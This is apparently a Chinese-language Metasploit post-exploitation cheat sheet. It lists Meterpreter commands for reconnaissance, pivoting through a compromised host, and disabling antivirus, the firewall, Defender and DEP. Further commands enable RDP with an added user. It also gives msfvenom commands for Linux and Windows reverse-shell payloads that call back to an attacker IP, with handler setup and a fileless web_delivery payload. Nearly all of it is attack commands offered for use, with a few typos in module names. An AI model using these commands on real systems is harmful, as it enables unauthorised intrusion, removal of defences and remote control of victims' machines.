查看目标机的系统信息 sysinfo 检查目标机是否正在运行(最近的运行时间) idletime 查看目标机完整的网络设置 route 将当前会话放到后台 background 查看当前目标机上已经渗透成功的用户名 getuid 关闭目标机系统杀毒软件 run post/windows/manage/killav 启动远程桌面协议(3389) run post/windows/manage/enable_rdp 查看目标机的本地子网情况 run post/windows/manage/autoroute
可以借助被攻陷的主机对其他网络进行攻击:
添加路由 route add 192.168.43.0 255.255.255.0 查看路由情况 route print 列举当前那些用户登陆目标机 run post/windows/gather/enum_logged_on_users 列举安装在目标机上的应用程序 run post/windows/gather/enum_applications 获取目标机器的分区情况 run post/windows/gather/forensics/enum_drives 检查目标机是否运行在虚拟机上 run post/windows/gather/checkvm 开启服务 run post/windows/gather/enum_services 查看共享 run post/windwos/gather/enum_shares 获取主机最近的系统操作 run post/windows/gather/dumplinks 查看补丁 run post/windows/gather/enum_applications
后渗透攻击:关闭杀软 关闭防火墙: netsh advfirewall set allprofiles state off 关闭Denfender: net stop windefend 关闭DEP: bcdedit.exe/set{current}nx alwaysoff 关闭杀毒软件: run killav run post/windows/manage/killava
后渗透攻击:远程连接 开启远程桌面: run post/windows/manage/enable_rdp run getgui -e 开启远程桌面并添加一个新用户: run getgui -u xxx -p ean 开启远程桌面并绑定在8888端口: run getgui -e -f 8888 截图: load espia screengrab
whoami/groups:查看当前的权限
1 2 3 4 5 6 7
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.7 LPORT=1002 -f elf -o shell.elf 生成Linux shell use exploit/multi/handler set payload linux/x86/shell_reverse_tcp set LHOST 192.168.1.7 set LPORT 1002 exploit
1 2 3 4 5 6
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=1003 -f exe -o shell.exe use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.7 # 攻击机的 IP 地址 set LPORT 1003 # 监听端口 exploit
1 2 3 4 5 6 7
不用下载后门文件 msf6 post(linux/busybox/wget_exec) > use exploit/multi/script/web_delivery msf6 exploit(multi/script/web_delivery) > set target Linux msf6 exploit(multi/script/web_delivery) > set SRVHOST 192.168.240.130 msf6 exploit(multi/script/web_delivery) > set LHOST 192.168.240.130 msf6 exploit(multi/script/web_delivery) > set payload /linux/x86/meterpreter/reverse_tcp msf6 exploit(multi/script/web_delivery) > run